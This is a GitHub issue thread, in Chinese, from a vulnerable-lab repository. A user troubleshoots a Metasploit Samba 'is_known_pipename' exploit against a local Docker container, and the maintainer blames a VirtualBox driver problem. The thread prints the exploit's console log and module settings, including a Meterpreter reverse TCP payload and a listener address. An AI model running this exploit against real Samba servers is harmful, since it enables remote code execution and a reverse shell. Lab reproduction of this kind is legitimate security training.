Medicean / VulApps

快速搭建各种漏洞环境(Various vulnerability environment)
http://vulapps.evalbug.com/
GNU General Public License v3.0
3.7k stars 998 forks source link

为什么我的复现不成功?so文件上传不上去。 #17

Closed imjdl closed 6 years ago

imjdl commented 6 years ago

按照您的前几步,我获取到了docker镜像并且成功运行了起来。 并且能够和我的物理机互相ping通。 现在我利用msf 执行后的结果显示

[*] Started reverse TCP handler on 192.168.1.104:4444 
[*] 172.17.0.2:445 - Using location \\172.17.0.2\share\ for the path
[*] 172.17.0.2:445 - Retrieving the remote path of the share 'share'
[*] 172.17.0.2:445 - Share 'share' has server-side path '/tmp/
[*] 172.17.0.2:445 - Uploaded payload to \\172.17.0.2\share\kJJBfBuJ.so
[*] 172.17.0.2:445 - Loading the payload from server-side path /tmp/kJJBfBuJ.so using \\PIPE\/tmp/kJJBfBuJ.so...
[-] 172.17.0.2:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 172.17.0.2:445 - Loading the payload from server-side path /tmp/kJJBfBuJ.so using /tmp/kJJBfBuJ.so...
[-] 172.17.0.2:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Exploit completed, but no session was created.
imjdl commented 6 years ago
Module options (exploit/linux/samba/is_known_pipename):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   RHOST           172.17.0.2       yes       The target address
   RPORT           445              yes       The SMB service port (TCP)
   SMB_FOLDER                       no        The directory to use within the writeable SMB share
   SMB_SHARE_NAME                   no        The name of the SMB share containing a writeable directory

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.104    yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   3   Linux x86_64
Medicean commented 6 years ago

@imjdl 我猜想你应该是用的是 win7 装的 docker。这个原因是因为VirtualBox的驱动没装好导致的。可以试着装一下这个驱动:

C:\Program Files\Oracle\VirtualBox\drivers\vboxdrv\VBoxDrv.inf

imjdl commented 6 years ago

谢谢您的回答,我现在成功了谢谢您 :-)